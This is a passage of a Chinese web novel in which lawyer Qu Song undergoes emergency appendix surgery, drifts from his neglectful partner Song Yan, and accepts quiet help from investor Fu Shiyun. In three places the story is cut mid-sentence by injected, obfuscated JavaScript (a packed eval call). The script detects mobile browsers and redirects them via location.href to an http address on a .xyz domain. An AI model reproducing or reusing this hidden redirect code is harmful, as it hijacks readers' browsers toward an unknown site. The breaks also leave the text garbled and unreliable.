宋远山眼里闪过一丝精明:“女孩,不过我让医生说是男孩。” 对方产检的医院是长恒旗下的私立医院,宋远山提前买通了医生,如果是女孩就说是男孩,如果是男孩……他自然有无数办法让这个孩子生不下来。 陈玉婷没忍住笑了出来,嘲讽道:“这下够他们得意一阵子的了。” - 深夜,白天看到的画面一遍又一遍在脑子里闪回,被失眠折磨到心烦意乱的曲颂直接放弃睡眠,起身去了书房,靠工作消磨剩下的长夜。电脑屏幕光映着他充血泛红的双眼,不知过了多久,一阵突如其来的腹痛让曲颂倒吸了口气。 曲颂起初没太在意,回床上躺着,以为过一会儿就不疼了。半小时后,疼痛不仅没有丝毫缓解,反而加重了。 他平时没有腹痛的毛病,而且也不是拉肚子。曲颂觉得不对,拿起手机给宋琰打电话,想让他送自己去医院。 打到一半忽然想起什么,曲颂果断挂掉电话,在手机上叫了车,换好衣服,拿上身份证出了门。 小区管得严,陌生车辆进不来,曲颂只能去小区门口坐车。凌晨两点的小区万籁俱静,曲颂捂着肚子往小区门口走,紧咬着唇,额头上疼出了汗。 好不容易走到门口,车已经到了。曲颂打开车门坐进去,缓了口气才说:“去省医院。” 司机大哥顺着后视镜瞧了眼,曲颂已经歪倒在座椅上,脸色苍白,赶忙发动车子:“哪儿不舒服啊?还能不能撑得住?” 曲颂虚弱地开口:“肚子疼。撑得住,正常开就行,安全第一。” 这个点路上车不多,一路顺畅开到医院,曲颂付了车费,打开车门下去。 司机大哥也跟着下来了:“我也要收车了,帮你挂上号我再走。” 曲颂笑着道谢:“谢谢。” 进了医院大厅,司机大哥扶曲颂坐下,然后拿着他的身份证去窗口挂号。这个时间只能挂急诊,前面也没人,很快就挂上了。 一番检查后,确定是急性阑尾炎,需要立刻手术。 值班医生看了眼司机大哥:“你是病人的陪同家属吗?” 司机大哥摆摆手:“他打的我的车,我是送他过来的。” 曲颂这会疼的已经站不直了,弓着腰道:“麻烦你了大哥,剩下的我自己就可以了,你回去休息吧。对了,挂号费我转给你。” “不用不用,没花几个钱,那我就走了。”司机大哥说完转身走了。 医生见曲颂孤零零一个人,建议道:“最好能有个陪同的,这样方便点,也有个照应。” 曲颂想了想,给许天和打了电话。对方明显是被吵醒的,迷迷糊糊“喂?”了声。 曲颂:“我急性阑尾炎需要手术,你能来趟医院吗?” 许天和登时清醒了,猛地从床上坐起来:“定位发我,我这就过去!” 发完定位,曲颂对医生道:“我朋友马上就来。” 医生点点头:“行,先给你手术,再拖下去穿孔就不好了。” 曲颂在知情同意书上签上字,接着被推进了手术室。在麻醉的作用下,很快便失去了意识。 再睁眼人已经在病房里了,手背上挂着点滴。天刚蒙蒙亮,许天和坐在病床边看手机,听到动静抬起头:“醒了啊,感觉如何?” 曲颂笑了笑:“感觉良好。” 许天和也跟着笑了:“当年让你和我一起把阑尾割了,你非不干,看看,最后还是没躲过吧。” 许天和是大二那年做的阑尾手术,也是急性的。曲颂陪他去医院,许天和抱着“有福同享有难同当”的心理,非要让曲颂陪他一起割阑尾。 “去你的!”曲颂笑骂道。 麻药劲儿还没完全过,曲颂现在脑子还不太清醒:“我再睡会儿。” 许天和:“睡吧,我给你看着。” 瓶子里的液体马上输完时,许天和按铃叫护士来拔针,之后便坐在床边继续守着。根据他的经验,曲颂得饿一段时间了,不放屁不让吃东西。 天色渐渐亮了起来,八点多的时候,曲颂手机响了。怕吵醒他,许天和拿起床头柜上的手机想挂掉,看到来电显示又改变了注意。 接通后,没等许天和开口,对方劈头盖脸就是一句:“什么事大半夜给我打电话?” 许天和登时就来火了,他就说曲颂怎么会大半夜一个人来医院,合着是该在家的人没在家,不仅如此还联系不上。 “许妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779588|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈”拿出老母鸡护仔的架势:“没什么事,不过是急性阑尾炎险些穿孔了而已,离死远着呢,大半夜打电话真是打扰了。” 那头沉默片刻,语气里带上几分焦急:“哪家医院?” “省医院。”挂掉电话,许天和忍不住吐糟,“孩子死了来奶了,大鼻涕进嘴知道甩了!” 刚睡醒就听到这话的曲颂没忍住笑出声。 许天和这才发现曲颂醒了,一副审犯人的架势:“他昨晚为什么不在家?” 曲颂:“老爷子下个月七十三大寿,他帮忙操办,来回跑太麻烦,就住在那边了。” 许天和眯眼打量着床上的人,冷不丁问:“你俩多久没做过了?” 他不是没见过宋琰有多黏曲颂,恨不得化身连体婴二十小时待在曲颂身边。现在竟然不回家过夜,绝对不正常。 曲颂张了张嘴,本以为是个很好回答的问题,他却想了好一会:“一个多月了。” 已经这么久了吗?曲颂后知后觉。 “你老实躺着,现在还不能吃东西,我出去吃个饭。”许天和没再说什么,将手机放到曲颂手边,“有事给我打电话。” 曲颂“嗯”了声:“我没事,你慢慢吃。” 曲颂躺在床上,脑子里回忆着这些年他和宋琰的点点滴滴,才恍然发现记忆已经褪色。八年,两千多个日日夜夜,大脑无法记住这么多回忆,于是只留下深刻的,而那些琐碎平淡的记忆,就好像随风而去的纸屑,再找不到半点踪迹。 身边忽然出现一道身影,熟悉的声音落了下来:“没事吧?” 曲颂回过神,盯着宋琰的脸,对于这种不痛不痒的关心,淡声道:“没事。” 宋琰:“我手机晚上调静音,没接到电话。” 曲颂的反应仍是淡淡的:“我知道,打的时候忘了。” 平静无波的样子让宋琰心里蹿上一股火,他将曲颂的反应理解成还在生气,所以连个笑脸都没有。不耐烦道:“我不是都解释了吗,你摆出这副样子给谁看?” 曲颂觉得荒谬,也来了火:“我哪副样子了?我刚做完手术,难不成要让我下床给你舞一段?还是给你办个欢迎仪式?我没求着你来,不想来现在就可以走!” 宋琰也没服软,冷哼一声,转身就往病房门口走,打开门,和许天和撞了个正着。 许天和皮笑肉不笑:“曲颂有我照顾,你忙你的,不用你操心。” 宋琰连个正眼都没给,径直越过许天和离开了。 许天和关上病房门,一屁股坐到椅子上:“怎么样?放屁了没?” 曲颂摇了摇头:“我手里有个案子明天要开庭,你替我出庭吧。材料都整理好了,在我办公桌上。” “包在我身上,你现在就负责安心养身体。”许天和痛快应下,并严肃警告,“身体彻底恢复之前不许接委托。” 曲颂:“遵命,许妈妈。” 许天和看着故作轻松的曲颂,欲言又止、止又欲言,表情如同便秘般滑稽。 曲颂失笑道:“有话就说,别憋坏了。” 许天和不吐不快:“我算看出来了,宋琰就是个被宠坏了的大少爷,说话做事全凭自己心情。拿你当回事时你放屁都是香的,不当回事时呼吸都是错的!” 曲颂张张嘴,竟想不出什么反驳的话,干巴巴说了句:“我们以前挺好的。” 许天和没想到有一天能从曲颂嘴里听到这句话,愣了好半天才道:“我记得我前几年接过一个案子,委托人耽于过去的美好,迟迟狠不下心离婚。然后你跟她说了一句话,她就决定离婚了。还记得吗?” 曲颂苦笑道:“记得。” 他当时说的是:“当你开始用过去的美好粉饰现在,这段关系就已经失去了存在的必要。” 没想到数年前说的风凉话,如今成了扎在自己身上的回旋镖。 5. 顺路 身体没个把月恢复不好,曲颂发了条动态,说了自己做阑尾手术,暂时无法接受委托的事。 许天和下午有个案子开庭,中午就走了,走之前还不放心嘱咐:“乖乖在医院待着,我那边完事了就过来。” 曲颂按照医生说的,在病房里慢慢溜达。溜达到窗户边时,病号服兜里的手机响了。拿出来一看,是妈妈发来的微信视频邀请。 曲颂心道:完了,发动态时忘记屏蔽了!手上还是乖乖按了接通:“妈。” 张小梅语气急切:“什么时候做的手术?怎么不告诉我一声呢?” “昨天半夜做的,急性的,已经没事了。” 曲颂背对病房门站在窗边,在他没注意时,门被轻轻打开,开门的人听到他在说话,又将门小心带上,只留一条缝隙。 “小琰和你一起去的医院吗?” 曲颂愣了下,轻轻“嗯”了声。 张小梅一眼就看出曲颂在撒谎,也没戳穿,满脸心疼道:“等着,我这就订票去照顾你。” 曲颂劝道:“不用的妈,我真没事,就是个小手术。这么远您自己来我不放心。” “没什么不放心的,我这么大人了还能丢了不成。大手术小手术身边也得有个人照顾,扔你自己像什么话!”说到最后,张小梅语气里已经带上怒意。 曲颂没再坚持:“那您先坐客车到市里,然后坐高铁过来。” 张小梅点头:“好。” 挂掉视频,曲颂慢慢转过身,下一秒,虚掩的病房门被推开,傅识云抱着一束百合花走了进来。白色花瓣与黑色大衣相映衬,和谐又极具冲击力。 曲颂一整个震惊住,眼睛都睁圆了:“傅总?你怎么来了?” 曲颂身上套着宽松的病号服,头发也躺乱了,手背贴着输液贴,脸色苍白憔悴。身边连个照顾的人都没有。 这副样子傅识云看在眼里只有心疼,不过他惯会隐藏,语气礼貌而客套:“看到你发的动态,正好顺路,便过来看看。” ——如果开车一个半小时也叫顺路的话。 “傅总请坐。”曲颂指了指床边的椅子,下意识加快脚步。 傅识云上前两步扶住他的手臂,嗓音低沉:“慢点,当心刀口。” 曲颂愣了下,没挣脱,任由傅识云扶着他坐到床上。 没有花瓶,傅识云将百合花放在床头柜上,走到床尾,转动摇杆将病床升上去,又给曲颂盖好被子,一切都弄合适了才坐到椅子上:“能吃东西了吗?” 曲颂摇头,苦哈哈道:“都快饿瘪了。” 傅识云眼底涌上笑意:“晚上应该就可以了,如果还是不行,记得让医生检查一下。” 曲颂点了点头。 “有人照顾你吗?用不用我帮你请个护工?”傅识云说话时眼睛一直看着曲颂。 所幸按照社交礼仪,交谈时看着对方是一种基本的礼貌,曲颂并未觉得冒犯,反而因为对方的话而感到了温暖:“谢谢傅总,不用了。我朋友照顾我,我妈明后天也来了。” “许律师?” “对。他下午有个案子开庭,结束了就过来。” “那我等他来了再走。” 对方已经这么说了,曲颂也不好拒绝:“麻烦傅总了。” 傅识云笑了笑,不动声色将手机调成静音,放回大衣外兜:“不麻烦。” 这么干坐着实在尴尬,曲颂正想找个话题聊聊天,手机响了,是妈妈打来的:“我明天下午两点到,上午的票卖没了。” “好,到时候我给您叫个车,您直接来医院就行,省医院。” 这种情况按说应该是宋琰去高铁站接,但曲颂实在不想开这个口,省得碰一鼻子灰。又或许他服个软,宋琰便会和以前一样大发慈悲地原谅他,帮他去高铁站接妈妈,但曲颂不想这么做。 等曲颂挂掉电话,傅识云问:“伯母在哪个站下车?” 曲颂愣了下,回道:“南站。” 傅识云:“南站挺大的,人流量密集,出租车停靠区也不好找,夹在中间,很容易迷路。要是不介意的话,我可以替你去接伯母。” 曲颂这回结结实实愣住了,完全没想到傅识云会这么说。来医院看他是礼尚往来,替他接妈妈可就不是了。好半天才呐呐道:“会不会太麻烦了?” 他确实不放心,但是没办法,许天和明天下午要替他去开庭,抽不开身,曲颂又不想麻烦别人。 “不会,接个人而已,没什么麻烦的。”顿了顿,傅识云又道,“我就是怕你介意。” 曲颂想也不想:“我怎么会介意,我就是怕麻烦你。” “那就这么定了。有伯母照片吗?给我看一眼。” 曲颂稀里糊涂点开相册,找出日期最近的一张合照,手机递给对方。照片是去年过年时拍的,曲颂穿着红色毛衣和妈妈坐在沙发上,母子俩一起冲镜头比耶,笑容灿烂幸福。 傅识云只看了一眼就将手机还给了曲颂:“方便发给我吗?我怕记不住。” 曲颂忙不迭将照片发到傅识云微信上,感激道:“谢谢傅总,等我身体好了请你吃饭。” 傅识云没推脱:“那我可记下了。” “一定!”说完,曲颂慢慢坐直身体,“我去个洗手间。” 傅识云起身扶他:“需不需要我跟着?” “没事,我自己可以。” 等曲颂去完洗手间回来,病床已经放平了,傅识云站在床尾:“躺下休息会吧。” 曲颂点点头:“好。” 曲颂现在只能平躺着,头歪向傅识云坐的那边,闲聊:“傅总平时喜欢吃辣吗?” 这是在打听他的口味,意识到这点的傅识云认真起来:“喜欢,但吃不了特别辣的,人菜瘾大。” 曲颂被最后这句话逗笑,不禁弯了弯眼睛:“我也一样,平时多吃微辣,中辣偶尔尝试,再辣就不行了。” 傅识云提议:“下次吃饭可以去吃火锅。” 曲颂从善如流:“好啊,我知道一家非常好吃的火锅店。” 两人捡不远不近的话题闲聊,曲颂说着说着就困了,眼皮开始打架,却还是出于礼貌强撑着。 “我不忙的时候喜欢打打保龄球,或者去健身房健身……”傅识云望着床上的人,说话声音越来越轻、越来越轻……直至消失。 许天和推门进来时,看到的就是这一幕——傅识云坐在床边,目光专注地看着曲颂睡觉。 许天和心里涌上一股说不出的怪异感,没等他细究,傅识云已经起身走了过来。 怕吵醒曲颂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779589|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人默契地走到病房外。傅识云带上门:“看到了曲律师发的动态,正好在这边工作,顺路过来看看。” 许天和了然:“谢谢傅总。” 傅识云:“我还有事就先走了,辛苦许律师照顾他。” “应该的。” 送傅识云到电梯口,电梯门关上后,许天和转身往病房走,心里忍不住犯嘀咕:会有这么巧的事吗? - 第二天中午,曲颂喝了一碗小米粥,可怜兮兮地瞅着许天和:“许妈妈,再给点吧。” “不行。”许天和义正辞严,“医生说了要少食多餐,吃这些就够了,过三个小时再吃。” 要饭失败的曲颂有感而发:“果然生什么都不能生病,一个阑尾手术都这么遭罪了。” “要不怎么说身体是革命的本钱呢。”许天和看了眼时间,“我得去法院了,你不准偷吃保温桶里的粥!这可是我起大早熬的,正好是一天的量。” 曲颂答应的痛快:“保证做到。” 等许天和离开,曲颂拿出手机。马上一点了,他在纠结要不要提醒傅识云接站的事,担心他忘记,又觉得万一真被事情绊住了,贸然提醒会给他带去不便。 曲颂其实就是这样敏感的性子,只不过这份敏感藏在他随和温柔的外表下,极难被察觉。 一点半不到,曲颂收到了傅识云的微信:【我到了,你跟伯母说一声,让她直接出站,我就在出站口外面。】 此刻的曲颂孤零零待在医院,哪儿也去不了。年过半百的妈妈一个人从小县城大老远来到繁华的大城市,人生地不熟。有这么一个人,半生不熟,算不上朋友,愿意替他去接站,曲颂不感动是假的。 【谢谢你傅总,真的谢谢。】 看到回过来的消息,傅识云心里一疼,他甚至都能猜出曲颂发这条消息时的心情。但凡有亲近的人肯帮他,他又何至于麻烦一个在他心里并不亲近的人。 - 高铁准时进站,张小梅随着人流从出站口出来,迎面被一个高大英俊的男人截住了去路:“伯母您好,我叫傅识云。” 说着,傅识云举起手机。手机正在进行视频通话,曲颂看到熟悉的面孔,连忙道:“妈,他就是我跟您说的去接您的人。” 张小梅脸上的警惕一扫而空,取而代之的是感激:“太感谢了,给你添麻烦了。” 傅识云态度亲和:“不麻烦,我帮您拎箱子。” 说着伸手拿过张小梅手里的行李箱,手机镜头也随之歪到了一边。曲颂也不介意,能听到声音就好,只听傅识云接着说:“伯母还没吃午饭吧,不如我先带您去吃饭,吃完了再去医院。” 张小梅这大半天光顾着坐车了,就早上吃了几口,不过她这会儿一来惦记着曲颂,二来也不想太麻烦对方:“我还不饿呢,咱们先去医院吧。” 傅识云没坚持,重新举起手机,默不作声看着镜头里的人。 曲颂瞬间心领神会:“妈,您先去吃饭,我这边什么事都没有,吃饭完再过来。” 两人都这么说,张小梅也就应下了:“好。” 傅识云看向屏幕:“我带伯母去吃饭,先挂了。” 曲颂点头:“好。” 下一秒,视频切断。曲颂一颗心终于放回了肚子里。 6. 习惯 为了尽可能降低距离感,傅识云是自己开车来的高铁站。他开车,张小梅坐在副驾驶:“我听小颂说你也是律所的合伙人,也是律师吗?” 傅识云耐心解释:“不是的伯母,我是做投资的。就是哪个行业前景好、能赚钱,就往哪里投钱。” 张小梅听完:“这可比律师难多了。” 傅识云态度谦逊:“隔行如隔山,任何行业想要站稳脚跟都不容易。” 张小梅笑着点头:“这倒是。” 傅识云订的餐厅属于中档水平,既不奢华也不寒酸,以免对方觉得不自在。吃饭时,傅识云挨着张小梅坐,用公筷帮她夹菜:“都是些家常菜,您多吃些。” 张小梅笑盈盈的:“别光照顾我,你也吃。我头一回自己来江北,今天多亏了你来接站,要不然我还真找不上头绪,里面太大了。” 傅识云:“伯母太客气了,都是小事。” 吃完饭,傅识云开车载着张小梅去医院。路上,张小梅忍不住问:“这两天都是小颂一个人在医院吗?” 傅识云认真看着路况,如实道:“我昨天中午去医院看他的时候是一个人,许律师那会儿在开庭,结束后就过来了。今天应该也是许律师在照顾他吧。” 傅识云从头到尾没提一句宋琰,张小梅心里有了数,沉默地点点头,没再问什么。 到了医院,傅识云领着张小梅往住院楼走,打开病房门,正好撞上曲颂眼巴巴期盼的目光。虽然知道不是因为自己,心跳还是不自觉加快了一瞬。 张小梅走到床跟前,上上下下仔细打量着曲颂:“吃饭了没?” 曲颂点点头:“喝了碗小米粥,医生让少食多餐。” “对,阑尾手术就得这样,吃多了不行。”张小梅注意到床头柜上的保温桶,“谁给你熬的?” 曲颂语气俏皮:“许妈妈。我下午有个案子要开庭,他替我去了。” 张小梅忍不住笑了:“难为他两头跑了。” 曲颂和张小梅聊天时,傅识云只默不作声站在一旁,将自己的存在感降到最低。曲颂自然不会视而不见,抬眸看向傅识云,唇角勾出一抹轻松的笑意:“谢谢傅总。” 傅识云被他的笑容感染,也跟着笑了:“不客气。” 下午四点多,许天和来到医院,此时傅识云已经被一通电话叫走了。看到病房里的张小梅,震惊道:“您来江北怎么不跟我说一声,我好找人去接站。” 张小梅笑盈盈道:“伯母知道你忙,这两天辛苦你照顾小颂了。” 许天和摆摆手,不在意道:“我俩这么多年的交情了,这点小事不用放在心上。” 曲颂关心案子:“结果怎么样?” 许天和打了个响指:“必须赢了,我可不能在你毫无败诉的战绩里拿下一杀。” 晚上,张小梅想住在医院,被曲颂阻止了,让她回家住。许天和开车送张小梅,半路上,张小梅说要买排骨炖汤,许天和找了家超市停车。 进了超市,许天和推着购物车跟在张小梅身边。张小梅没急着买排骨:“伯母问你个事,你跟伯母说实话。” 许天和拍着胸脯摆正:“伯母放心,我从小就不会撒谎。” 张小梅:“小颂和小琰的感情是不是出问题了?” 许天和沉默几秒:“出问题应该不至于,不如以前深厚了是肯定的。以前曲颂在电话里打个喷嚏宋琰都紧张的不行,又是送药又是送饭的。现在……” 后面的话许天和没说下去,但意思已经很明显了。这些都是许天和亲眼目睹的,骗不了人。 见张小梅一副忧心忡忡的样子,许天和继续道:“不过伯母也不用太担心,我估计他俩现在正处于倦怠期,就跟七年之痒似的,等过去了就好了。” 张小梅点点头:“希望如此吧。” - 晚上十一点,在隔壁市结束饭局的傅识云坐进车里,吩咐司机:“回江北。” 副驾驶上的林助理打开手机里的行程表,确定自己没记错,并没有着急的工作需要连夜返回。 不是公事,那就是私事了。 林助理按灭手机,心里没有丝毫的好奇心。他只是个打工仔,不配研究老板的私事。 两个半小时后,车子驶入江北市。傅识云睡了几个小时,早上五点从家出发,横穿大半个城市,终于抵达目的地。找车位停好车,傅识云坐在车里安静等待着。 阳光渐渐爬上车窗,落在他轮廓分明的侧脸上。 七点多,张小梅拎着保温桶从曲颂住的小区出来。傅识云开门下车,迈开长腿几步走到张小梅跟前:“伯母早上好。” 张小梅面露惊讶:“早上好,你也住这个小区?” 傅识云没答:“您是要去医院吗?” 张小梅明白了,对方是专门等她的,点了点头:“给小颂熬了点汤,补补身体。” “我送您吧。” “医院离这里挺远的,不会耽误你上班吗?”张小梅见他穿着西装,不放心问。 “不会。我是老板,什么时候去都不算迟到。”傅识云半开玩笑道。 张小梅被逗笑,放心地上了车。半路上,曲颂打来电话:“妈您什么时候来医院,我叫车。” 张小梅:“不用叫车,小傅送我去,已经在路上了。” 曲颂反应好半天才把“小傅”和傅识云画上等号,一时间竟不知道说什么,干巴巴应了声“好。” 挂掉电话,曲颂转头看向床头柜上的百合花,忽然不忍它这样枯萎,白白糟蹋了送花之人的一番心意。按铃叫来护士:“打扰了,有花瓶吗?我想把花插上。” 护士:“有的,不过用的次数少,怕打碎就收起来了。我这就去给你拿。” 曲颂一笑:“谢谢,麻烦你了。” 不多时,护士将一个透明的玻璃花瓶拿给曲颂。曲颂拿着去洗手间接了些清水,拆开包装纸,耐心将百合花一支一支插进去,确保每枝花根都沾上水。 大约半小时后,张小梅推门进来,并未见到傅识云的身影。 张小梅不吝赞美:“小傅这孩子真热心,一大早就在小区外面等我,又把我送到医院门口才去的公司。” 曲颂默默看了眼百合花,将“我和他其实没这么熟”这句话咽回了肚子。 论迹不论心,论心无完人。不管傅识云这么做的目的是什么,曲颂都念着他的这份好。何况细细算来,自己并没有什么值得对方贪图的。身价、地位、背景……傅识云样样强过他,实在犯不上阴谋论。 曲颂一边喝着排骨玉米烫,一边将傅识云的行为归结为人好。 张小梅试探地问:“昨晚小琰没在家,是不是来医院了?” 曲颂捧着汤碗,神色平静道:“没有,他爷爷下个月七十三大寿,他帮忙操办,暂时不回家住。” 自从前天宋琰夺门而去,手机里一条消息都没有。对方似乎笃定他会主动联系,所以格外有恃无恐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779590|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在一起八年,曲颂从未试图去改变宋琰,永远肆意潇洒、我行我素,而自己却早已面目全非。每一次看似微小的改变,都如同砂砾,一点一点打磨着他的灵魂与血肉。积年累月,成了如今的模样。 习惯是个可怕的东西,它甚至能腐蚀思想、控制行为。宋琰习惯了按兵不动,曲颂习惯了主动投诚。 而现在,他决定改掉这个习惯。 说到做到。 - 住院这几天,傅识云宛如做好事不留名的雷锋同志,每天送张小梅来医院,又不在曲颂跟前露面。 要问傅识云有没有私心,自然是有的。除了想留下个好印象外,还想尽可能多地增加和曲颂的关联,而欠人情是最容易的方法。至于因为喜欢而产生的怜惜,进而想为对方做些什么,这点是毋庸置疑的。 出院当天,许天和来医院接他,傅识云没出现。 曲颂给他发了条微信:【我今天出院了,这几天多谢傅总,等我身体好了请你吃饭。】 对方回的很快:【好。】 曲颂按灭手机,最后看了眼花瓶里已经开始枯萎的百合花,头也不回地离开了。 出院第三天,早上吃饭时,张小梅冲曲颂道:“你问问小许和小傅今天有没有时间,请他俩来家里吃晚饭,你住院这几天他俩没少帮忙。” 曲颂点点头:“行。” 吃完饭,张小梅出门买菜,曲颂回卧室休息,打开手机先给傅识云发消息:【傅总今晚有空吗?我妈妈想请你吃顿便饭。】 消息发过去的几秒后,屏幕上方就出现了‘对方正在输入’的提示。曲颂看着,竟莫名有些紧张。 傅识云:【我晚上七点过去方不方便?】 曲颂不自觉吐出口气:【当然方便。】 敲定一个,曲颂又给许天和打电话,语气随意:“晚上来我家吃饭啊,我妈亲自下厨。” 许天和一听,颇为遗憾道:“我今晚有约了。” 没等曲颂细问,许天和已经爆豆子一样交代个干干净净:“之前我车不是被追尾了,车主是个大美女。事故解决完我俩加上了微信,人家今晚要请我吃饭,说是赔礼道歉。” “你说我是穿西装好还是穿便服好?”许天和说着说着,已经开始和曲颂探讨晚上穿什么了。 “私下吃饭当然是便服,西装太正式了。”曲颂替他操起了心,“但也不能太随意,胡子刮干净,头发抓一抓,穿的时尚一点。” “放心,我有数。”许天和胸有成竹,“毕竟受你衣品熏陶这么多年,比葫芦画瓢错不了!” 曲颂是个时髦精,可会打扮自己了,连西装都能被他搭配出花样来。 等张小梅买完菜回来,曲颂把情况说了。 张小梅:“没事,找机会再单独请小许也是一样的。” 顿了顿又道:“我记得小琰挺喜欢吃我做的饭的,要不把他叫回来?人多吃饭也热闹。” 张小梅的意图自然是为两人寻找台阶。她并非毫无察觉,虽说宋琰操办寿宴不回来住,也不至于一个电话、一个视频都不打,肯定是吵架了。 “不用。” 张小梅:“我给他打电话也行。” “妈。”曲颂吐出口气,眉宇间是隐忍的烦躁,“我俩的事您别操心了,交给我们自己解决。” 曲颂铁了心的事,谁劝也没用,弄不好还会适得其反。张小梅叹了口气,也不再坚持了:“行,妈听你的。” 7. 对视 晚上六点多,张小梅在厨房里忙活,曲颂下楼接人。 曲颂像个八十岁的大爷,龟速往小区门口溜达。溜达到一片雪松附近时,曲颂停下脚步,打量着面前的雪松树,不禁感慨时间的魔力。 雪松适应性强,耐寒耐旱,很适合拿来做绿化,尤其是在寒冷的北方。八年前搬来这里时,这片雪松还只是幼苗,为了辅助生长,每颗雪松都弄了支撑架。 八年过去,虽未亭亭如盖,却也长势喜人。已经能看出明显的变化了。 时间这东西,摧枯拉朽是它,细水长流也是它。人很难修正自己犯下的错误,就是因为时间一去不回头,不会给你重新来过的机会,所以每一次选择都至关重要。 如果现在放弃,曲颂不会甘心。他和宋琰的磨合期才刚刚开始——在他们在一起八年后,姗姗来迟。而磨合期的开关看似由宋琰掌握,实则一直握在曲颂手里。 宋琰是一定要调教的,如果他们还想继续走下去。就如同曲颂在这段关系中做出的改变。一切都是相互的,也必须是相互的。 溜达到小区门口,离七点还有十几分钟。门卫大哥顺窗户看到曲颂,开门从门卫室出来:“怎么了曲律师?” “没事,我等个人。” 门卫大哥:“下次打电话说一声就行,不用非得亲自过来,挺老远的。” 曲颂解释:“他头回来,不熟悉环境,我怕他找不到。” “那确实得来个人接,这小区挺大的。”门卫大哥犹豫两秒,试探地问,“律师的咨询费一般都是按小时收费吧?” 曲颂笑了笑:“一般是这样。不过现在是非工作时间,咱俩就当唠闲嗑了。” 门卫大哥一听面露感激,连忙道:“我女儿前天晚上开车下班不小心和一辆电瓶车撞上了,对方非要让我们赔钱,不然就去我女儿工作单位闹。” 曲颂没被这种威胁吓到:“没报交警吗?责任怎么划分的?” 门卫大哥:“报了,我女儿没责任,是对方闯红灯,还不戴头盔。问题是当时电瓶车上载着个小孩,现在正在医院住着呢,弄不好得落下终身残疾。” 曲颂蹙眉:“这么严重?” “是啊。小孩儿嘛,细胳膊细腿的,稍稍碰一下都够呛。”门卫大哥接着说,“我女儿也咨询了其他律师,都建议赔点钱了事。但我们也没责任啊,而且交强险也赔了。曲律师,你说这种情况应该赔钱吗?” 曲颂听完,中肯道:“从法律层面上说无需主动赔付,其他律师建议赔钱一来是出于人道主义,二来是花钱买安生。很多事情法律上能分辨对错,放在现实里却很难,要考虑的因素太多了。” 门卫大哥:“意思是,就算我们铁了心不赔,对方也不能怎么样。” 曲颂点头:“是的。如果对方一直纠缠直接报警,撒泼耍横那套早就过时了。” 门卫大哥思考了一会:“那要是赔钱的话得陪多少?” “这个就得和对方协商了,可以请律师代为交涉。” 门卫大哥心里有了数:“行,我回去和我女儿商量商量,谢谢曲律师。” “不客气。” 聊完天又等了几分钟,傅识云的车出现在小区门口,曲颂招招手,示意他开进来。 门卫大哥按了下手里的遥控开关,伸缩门慢慢缩进去。车子驶进小区靠边停好,傅识云从车里出来。 三月初的江北还有些冷,尤其是晚上,气温只有几度。傅识云今天穿了便装,黑色风衣潇洒利落,小V领打底衫让修长的脖颈一览无余,下身搭了条版型宽松的休闲裤。 曲颂看下来只有一个想法:很会穿。 他打量的功夫,傅识云已经走了过来:“怎么出来了,身体还没恢复。” “头回来,怕你找不到路。” 傅识云半开玩笑道:“那我多来几次,次数多了就记得了。” 曲颂笑着回应:“好主意!” 登记完信息,曲颂坐进副驾驶给傅识云指路,很快便到了楼下。车子停稳后,曲颂开门下车,看到傅识云从后备箱里拎出了一大堆东西——水果,各种补品、营养品,两只手堪堪拎下。 第一次登门,对方家里又有长辈,带礼品没什么问题。问题是也太多了。 曲颂面露错愕,打趣道:“这是把超市都搬来了?” 傅识云也幽默回应:“搬超市得有哆啦A梦的口袋才行。” 曲颂想帮他拿一些,被傅识云拒绝了:“我来就好,你现在还不能提重物。” 曲颂收回手,无声地笑了笑。 电梯升到十三层,两人从里面出来。听到动静的张小梅提前打开门,看到傅识云手里拎的东西后:“你这孩子,来就来,带这么多东西做什么?家里什么都不缺。” 傅识云:“都是些寻常东西,希望伯母不要嫌弃。” “什么嫌弃不嫌弃的,你就算什么都不带伯母也高兴。快进来!” 进了屋,张小梅冲曲颂道:“小颂你招待一下,我锅里炒着菜呢。还剩俩菜,炒完咱们就开饭!” 说完就着急忙慌往厨房走。 傅识云还拎着东西,曲颂给他拿了双拖鞋:“放地上就行。” 傅识云将手里的东西放到地上,换好拖鞋,脱掉大衣正找地方挂,曲颂伸出手:“给我吧,挂衣挂前段时间掉了,一直也没修。” 木质挂衣架兢兢业业工作八年后,因为螺丝松动从墙上掉了下来,摔断了两个挂钩,彻底报废。以往家里的东西旧了、坏了都是曲颂换,自己弄不了就找维修师傅,宋琰是完全不管这些的。 